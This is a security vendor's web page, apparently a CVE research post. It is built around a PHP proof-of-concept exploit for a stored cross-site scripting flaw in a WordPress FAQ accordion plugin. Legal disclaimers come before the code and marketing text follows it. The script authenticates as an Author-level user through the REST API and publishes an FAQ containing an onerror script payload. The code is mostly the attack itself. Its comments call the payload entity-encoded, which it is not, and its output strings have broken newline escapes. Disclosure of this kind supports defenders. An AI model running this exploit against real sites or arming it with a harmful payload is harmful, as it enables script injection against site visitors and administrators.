Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4336 - Ultimate FAQ Accordion Plugin <= 2.4.7 - Authenticated (Author+) Stored Cross-Site Scripting via FAQ Content

<?php
/**
 * Proof of Concept for CVE-2026-4336
 * Requires Author-level credentials for the target WordPress site
 * Creates a malicious FAQ with entity-encoded XSS payload
 */

$target_url = 'https://example.com'; // CHANGE THIS
$username = 'author_user';           // CHANGE THIS
$password = 'author_pass';           // CHANGE THIS

// Entity-encoded XSS payload that bypasses kses during save
$malicious_content = '<img src=x onerror=alert(document.domain)>';

// Step 1: Authenticate and get nonce via REST API
function get_wp_rest_nonce($target_url, $username, $password) {
    $auth_url = $target_url . '/wp-json/jwt-auth/v1/token';
    $auth_data = array(
        'username' => $username,
        'password' => $password
    );
    
    $ch = curl_init($auth_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($auth_data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Content-Type: application/json',
        'Accept: application/json'
    ));
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code !== 200) {
        echo "[!] Authentication failed. HTTP $http_coden";
        echo "Response: $responsen";
        return false;
    }
    
    $auth_result = json_decode($response, true);
    if (!isset($auth_result['token'])) {
        echo "[!] No token in authentication responsen";
        return false;
    }
    
    return $auth_result['token'];
}

// Step 2: Create malicious FAQ via REST API
function create_malicious_faq($target_url, $token, $malicious_content) {
    $faq_url = $target_url . '/wp-json/wp/v2/ufaq';
    
    $faq_data = array(
        'title' => 'Compromised FAQ - CVE-2026-4336',
        'content' => $malicious_content,
        'status' => 'publish'
    );
    
    $ch = curl_init($faq_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($faq_data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Content-Type: application/json',
        'Accept: application/json',
        'Authorization: Bearer ' . $token
    ));
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code === 201) {
        $result = json_decode($response, true);
        echo "[+] Malicious FAQ created successfully!n";
        echo "[+] FAQ ID: " . $result['id'] . "n";
        echo "[+] View at: " . $result['link'] . "n";
        echo "[+] Payload will execute when FAQ is viewedn";
        return true;
    } else {
        echo "[!] FAQ creation failed. HTTP $http_coden";
        echo "Response: $responsen";
        return false;
    }
}

// Execute the exploit
$token = get_wp_rest_nonce($target_url, $username, $password);
if ($token) {
    echo "[+] Authentication successfuln";
    echo "[+] Token obtained: " . substr($token, 0, 20) . "...n";
    
    echo "[+] Creating malicious FAQ with entity-encoded payload...n";
    create_malicious_faq($target_url, $token, $malicious_content);
} else {
    echo "[!] Exploit failed at authentication stagen";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School